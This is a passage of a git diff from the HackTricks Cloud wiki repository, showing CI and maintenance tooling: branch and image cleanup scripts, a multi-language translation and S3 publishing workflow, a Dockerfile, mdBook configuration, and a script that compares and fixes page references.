||||
branch=$(echo "$branch" | xargs) # Trim whitespace
|
||||
|
||||
# Skip if empty
|
||||
if [ -z "$branch" ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
echo "Checking branch: $branch"
|
||||
|
||||
# Check if it's a protected branch
|
||||
is_protected=false
|
||||
for protected in "${protected_branches[@]}"; do
|
||||
if [ "$branch" = "$protected" ]; then
|
||||
echo " ✓ Skipping protected branch: $branch"
|
||||
is_protected=true
|
||||
skipped_count=$((skipped_count + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$is_protected" = true ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if it's a translation branch (any 2-letter combination)
|
||||
# Also protect any branch that starts with 2 letters followed by additional content
|
||||
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
|
||||
echo " ✓ Skipping translation/language branch: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch has an open PR
|
||||
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
|
||||
echo " ✓ Skipping branch with open PR: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch had a PR that was merged or closed
|
||||
echo " → Checking PR history for branch: $branch"
|
||||
|
||||
# Look for PRs from this branch (both merged and closed)
|
||||
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
|
||||
|
||||
if [ "$pr_info" != "[]" ]; then
|
||||
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
|
||||
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
|
||||
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
|
||||
|
||||
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
|
||||
|
||||
# Delete the remote branch
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted remote branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete remote branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
# No PR found for this branch - it might be a stale branch
|
||||
# Check if branch is older than 30 days and has no recent activity
|
||||
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
|
||||
|
||||
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
|
||||
# Calculate 30 days ago in seconds since epoch
|
||||
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
|
||||
|
||||
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
|
||||
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted stale branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete stale branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch (cannot determine age): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo "=================================="
|
||||
echo "Branch cleanup completed!"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "Branches that would be deleted: $deleted_count"
|
||||
else
|
||||
echo "Branches deleted: $deleted_count"
|
||||
fi
|
||||
echo "Branches skipped: $skipped_count"
|
||||
echo "=================================="
|
||||
|
||||
# Clean up local tracking branches (only if not dry run)
|
||||
if [ "$DRY_RUN" != "true" ]; then
|
||||
echo "Cleaning up local tracking branches..."
|
||||
git remote prune origin
|
||||
fi
|
||||
|
||||
echo "Cleanup process finished."
|
||||
195
.github/workflows/translate_all.yml
vendored
Normal file
195
.github/workflows/translate_all.yml
vendored
Normal file
@@ -0,0 +1,195 @@
|
||||
name: Translator All
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- Dockerfile
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
translate:
|
||||
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
|
||||
# Run N languages in parallel (tune max-parallel if needed)
|
||||
strategy:
|
||||
fail-fast: false
|
||||
# max-parallel: 3 #Nothing to run all in parallel
|
||||
matrix:
|
||||
include:
|
||||
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
|
||||
- { name: "German", language: "German", branch: "de" }
|
||||
- { name: "Greek", language: "Greek", branch: "el" }
|
||||
- { name: "Spanish", language: "Spanish", branch: "es" }
|
||||
- { name: "French", language: "French", branch: "fr" }
|
||||
- { name: "Hindi", language: "Hindi", branch: "hi" }
|
||||
- { name: "Italian", language: "Italian", branch: "it" }
|
||||
- { name: "Japanese", language: "Japanese", branch: "ja" }
|
||||
- { name: "Korean", language: "Korean", branch: "ko" }
|
||||
- { name: "Polish", language: "Polish", branch: "pl" }
|
||||
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
|
||||
- { name: "Serbian", language: "Serbian", branch: "sr" }
|
||||
- { name: "Swahili", language: "Swahili", branch: "sw" }
|
||||
- { name: "Turkish", language: "Turkish", branch: "tr" }
|
||||
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
|
||||
- { name: "Chinese", language: "Chinese", branch: "zh" }
|
||||
|
||||
# Ensure only one job per branch runs at a time (even across workflow runs)
|
||||
concurrency:
|
||||
group: translate-${{ matrix.branch }}
|
||||
cancel-in-progress: false
|
||||
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
|
||||
env:
|
||||
LANGUAGE: ${{ matrix.language }}
|
||||
BRANCH: ${{ matrix.branch }}
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update and download scripts
|
||||
run: |
|
||||
sudo apt-get update
|
||||
# Install GitHub CLI properly
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y \
|
||||
&& sudo apt-get install -y wget
|
||||
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
|
||||
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
|
||||
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
|
||||
|
||||
- name: Run get_and_save_refs.py
|
||||
run: |
|
||||
python /tmp/get_and_save_refs.py
|
||||
|
||||
- name: Download language branch & update refs
|
||||
run: |
|
||||
pwd
|
||||
ls -la
|
||||
git config --global --add safe.directory "$GITHUB_WORKSPACE"
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git config pull.rebase false
|
||||
git checkout $BRANCH
|
||||
git pull
|
||||
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
|
||||
git add .
|
||||
git commit -m "Fix unmatched refs" || echo "No changes to commit"
|
||||
git push || echo "No changes to push"
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
git checkout master
|
||||
cp src/SUMMARY.md /tmp/master-summary.md
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n ",$file" >> /tmp/file_paths.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
|
||||
cat /tmp/file_paths.txt
|
||||
echo ""
|
||||
echo ""
|
||||
touch /tmp/file_paths.txt
|
||||
|
||||
if [ -s /tmp/file_paths.txt ]; then
|
||||
python /tmp/translator.py \
|
||||
--language "$LANGUAGE" \
|
||||
--branch "$BRANCH" \
|
||||
--api-key "$OPENAI_API_KEY" \
|
||||
-f "$(cat /tmp/file_paths.txt)" \
|
||||
-t 3
|
||||
else
|
||||
echo "No markdown files changed, skipping translation."
|
||||
fi
|
||||
|
||||
- name: Sync SUMMARY.md from master
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
if [ -f /tmp/master-summary.md ]; then
|
||||
cp /tmp/master-summary.md src/SUMMARY.md
|
||||
git add src/SUMMARY.md
|
||||
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
|
||||
git push || echo "No SUMMARY updates to push"
|
||||
else
|
||||
echo "master summary not exported; failing"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Build mdBook
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-${BRANCH}"
|
||||
TITLE="Search Index (${BRANCH})"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
|
||||
fi
|
||||
|
||||
# Create new release
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: |
|
||||
echo "Current branch:"
|
||||
git rev-parse --abbrev-ref HEAD
|
||||
echo "Syncing $BRANCH to S3"
|
||||
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
echo "Sync completed"
|
||||
echo "Cat 3 files from the book"
|
||||
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat
|
||||
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
name: Upload HackTricks to HackTricks AI
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
- cron: "0 5 1 * *"
|
||||
|
||||
|
||||
jobs:
|
||||
dowload-clean-push:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
steps:
|
||||
# 1. Download the script
|
||||
- name: Dowload script
|
||||
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
|
||||
|
||||
- name: Install pip dependencies
|
||||
run: python3 -m pip install openai
|
||||
|
||||
# 2. Execute the script
|
||||
- name: Execute script
|
||||
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -35,3 +35,4 @@ book
|
||||
book/*
|
||||
hacktricks-preprocessor.log
|
||||
hacktricks-preprocessor-error.log
|
||||
searchindex.js
|
||||
|
||||
31
Dockerfile
Normal file
31
Dockerfile
Normal file
@@ -0,0 +1,31 @@
|
||||
# Use the official Python 3.12 Bullseye image as the base
|
||||
FROM python:3.12-bullseye
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
curl \
|
||||
wget \
|
||||
git \
|
||||
sudo \
|
||||
build-essential \
|
||||
awscli
|
||||
|
||||
# Install Python libraries
|
||||
RUN pip install --upgrade pip && \
|
||||
pip install openai tqdm tiktoken
|
||||
|
||||
# Install Rust & Cargo
|
||||
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
# Install mdBook & plugins
|
||||
RUN cargo install mdbook
|
||||
RUN cargo install mdbook-alerts
|
||||
RUN cargo install mdbook-reading-time
|
||||
RUN cargo install mdbook-pagetoc
|
||||
RUN cargo install mdbook-tabs
|
||||
RUN cargo install mdbook-codename
|
||||
|
||||
# Set the working directory
|
||||
WORKDIR /app
|
||||
|
||||
34
README.md
34
README.md
@@ -1,34 +0,0 @@
|
||||
# HackTricks Cloud
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks логотипи та анімація розроблені_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> Ласкаво просимо на сторінку, де ви знайдете кожен **хакерський трюк/техніку/що завгодно, пов'язане з CI/CD та Cloud**, який я навчився в **CTF**, **реальних** життєвих **середовищах**, **досліджуючи** та **читаючи** дослідження і новини.
|
||||
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**У методології HackTricks CI/CD ви знайдете, як проводити пентест інфраструктури, пов'язаної з CI/CD активностями.** Прочитайте наступну сторінку для **вступу:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Methodology
|
||||
|
||||
**У методології HackTricks Cloud ви знайдете, як проводити пентест хмарних середовищ.** Прочитайте наступну сторінку для **вступу:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### License & Disclaimer
|
||||
|
||||
**Перевірте їх у:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Github Stats
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
15
book.toml
15
book.toml
@@ -1,6 +1,7 @@
|
||||
[book]
|
||||
authors = ["HackTricks Team"]
|
||||
language = "en"
|
||||
multilingual = false
|
||||
src = "src"
|
||||
title = "HackTricks Cloud"
|
||||
|
||||
@@ -8,17 +9,26 @@ title = "HackTricks Cloud"
|
||||
create-missing = false
|
||||
extra-watch-dirs = ["translations"]
|
||||
|
||||
[preprocessor.alerts]
|
||||
after = ["links"]
|
||||
|
||||
[preprocessor.reading-time]
|
||||
|
||||
[preprocessor.pagetoc]
|
||||
|
||||
[preprocessor.tabs]
|
||||
|
||||
[preprocessor.codename]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
additional-js = [
|
||||
"theme/tabs.js",
|
||||
"theme/pagetoc.js",
|
||||
"theme/tabs.js",
|
||||
"theme/ht_searcher.js",
|
||||
"theme/sponsor.js",
|
||||
"theme/ai.js"
|
||||
@@ -26,7 +36,6 @@ additional-js = [
|
||||
no-section-label = true
|
||||
preferred-dark-theme = "hacktricks-dark"
|
||||
default-theme = "hacktricks-light"
|
||||
hash-files = false
|
||||
|
||||
[output.html.fold]
|
||||
enable = true # whether or not to enable section folding
|
||||
|
||||
@@ -53,17 +53,11 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
except Exception as e:
|
||||
@@ -71,17 +65,11 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
||||
if "#" in href:
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
except Exception as e:
|
||||
@@ -159,14 +147,8 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
logger.debug(f"Book keys: {book.keys()}")
|
||||
|
||||
# Handle both old (sections) and new (items) mdbook API
|
||||
book_items = book.get('sections') or book.get('items', [])
|
||||
|
||||
for chapter in iterate_chapters(book_items):
|
||||
if chapter is None:
|
||||
continue
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
current_chapter = chapter
|
||||
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
|
||||
88
scripts/clean_unused_images.sh
Normal file
88
scripts/clean_unused_images.sh
Normal file
@@ -0,0 +1,88 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Define the image folder and the root of your project
|
||||
IMAGE_FOLDER="./src/images"
|
||||
PROJECT_ROOT="."
|
||||
|
||||
# Move to the project root
|
||||
cd "$PROJECT_ROOT" || exit
|
||||
|
||||
# Loop through each image file in the folder
|
||||
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
|
||||
# Extract the filename without the path
|
||||
image_name=$(basename "$image")
|
||||
|
||||
# If image file name contains "sponsor", skip it
|
||||
if [[ "$image_name" == *"sponsor"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"arte"* ]]; then
|
||||
echo "Skipping arte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"grte"* ]]; then
|
||||
echo "Skipping grte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"azrte"* ]]; then
|
||||
echo "Skipping azrte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"websec"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"venacus"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CLOUD"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"cloud.gif"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CH_logo"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"lasttower"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
|
||||
|
||||
echo "Checking image: $image_name"
|
||||
|
||||
# Search for the image name using rg and capture the result
|
||||
search_result=$(rg -F --files-with-matches "$image_name" \
|
||||
--no-ignore --hidden \
|
||||
--glob '!.git/*' \
|
||||
--glob '!$IMAGE_FOLDER/*' < /dev/null)
|
||||
|
||||
echo "Search result: $search_result"
|
||||
|
||||
# If rg doesn't find any matches, delete the image
|
||||
if [ -z "$search_result" ]; then
|
||||
echo "Deleting unused image: $image"
|
||||
rm "$image"
|
||||
else
|
||||
echo "Image used: $image_name"
|
||||
echo "$search_result"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Cleanup completed!"
|
||||
165
scripts/compare_and_fix_refs.py
Normal file
165
scripts/compare_and_fix_refs.py
Normal file
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def replace_refs_in_text(text: str, new_refs: list):
|
||||
"""Replace all refs in text with new_refs, maintaining order."""
|
||||
matches = list(REF_RE.finditer(text))
|
||||
if len(matches) != len(new_refs):
|
||||
return text # Can't replace if counts don't match
|
||||
|
||||
# Replace from end to beginning to avoid offset issues
|
||||
result = text
|
||||
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
|
||||
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
|
||||
start, end = match.span()
|
||||
# Format the replacement with proper newlines
|
||||
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
|
||||
result = result[:start] + formatted_replacement + result[end:]
|
||||
|
||||
return result
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
|
||||
parser.add_argument("--files-unmatched-paths", type=str,
|
||||
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
if not REFS_JSON.exists():
|
||||
raise SystemExit(f"Reference file not found: {REFS_JSON}")
|
||||
|
||||
# Load the reference refs from master branch
|
||||
try:
|
||||
with open(REFS_JSON, 'r', encoding='utf-8') as f:
|
||||
master_refs = json.load(f)
|
||||
except (json.JSONDecodeError, UnicodeDecodeError) as e:
|
||||
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
|
||||
|
||||
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
|
||||
|
||||
files_processed = 0
|
||||
files_modified = 0
|
||||
files_with_differences = 0
|
||||
unmatched_files = [] # Track files with unmatched refs
|
||||
|
||||
# Track which files exist in current branch
|
||||
current_files = set()
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
|
||||
files_processed += 1
|
||||
|
||||
# Track this file as existing in current branch
|
||||
current_files.add(rel)
|
||||
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
current_refs = extract_refs(content)
|
||||
|
||||
# Check if file exists in master refs
|
||||
if rel not in master_refs:
|
||||
if current_refs:
|
||||
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
master_file_refs = master_refs[rel]
|
||||
|
||||
# Compare ref counts
|
||||
if len(current_refs) != len(master_file_refs):
|
||||
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
# If no refs in either, skip
|
||||
if not current_refs and not master_file_refs:
|
||||
continue
|
||||
|
||||
# Compare individual refs
|
||||
differences_found = False
|
||||
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
|
||||
if current_ref != master_ref:
|
||||
if not differences_found:
|
||||
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
|
||||
differences_found = True
|
||||
print(f" Ref {i+1}:")
|
||||
print(f" Master: {repr(master_ref)}")
|
||||
print(f" Current: {repr(current_ref)}")
|
||||
|
||||
if differences_found:
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Replace current refs with master refs
|
||||
try:
|
||||
new_content = replace_refs_in_text(content, master_file_refs)
|
||||
if new_content != content:
|
||||
md_path.write_text(new_content, encoding="utf-8")
|
||||
files_modified += 1
|
||||
print(f" ✅ Fixed refs in {rel_with_src}")
|
||||
else:
|
||||
print(f" ❌ Failed to replace refs in {rel_with_src}")
|
||||
except Exception as e:
|
||||
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
|
||||
|
||||
# Check for files that exist in master refs but not in current branch
|
||||
unexisted_files = 0
|
||||
for master_file_rel in master_refs.keys():
|
||||
if master_file_rel not in current_files:
|
||||
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
|
||||
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
|
||||
unexisted_files += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Save unmatched files to specified path if requested
|
||||
if args.files_unmatched_paths and unmatched_files:
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
|
||||
f.write(','.join(list(set(unmatched_files))))
|
||||
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
|
||||
elif args.files_unmatched_paths and not unmatched_files:
|
||||
# Create empty file if no unmatched files found
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
unmatched_paths_file.write_text('\n', encoding='utf-8')
|
||||
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
|
||||
|
||||
print(f"\n SUMMARY:")
|
||||
print(f" Files processed: {files_processed}")
|
||||
print(f" Files with different refs: {files_with_differences}")
|
||||
print(f" Files modified: {files_modified}")
|
||||
print(f" Non existing files: {unexisted_files}")
|
||||
if unmatched_files:
|
||||
print(f" Unmatched files: {len(unmatched_files)}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
38
scripts/get_and_save_refs.py
Normal file
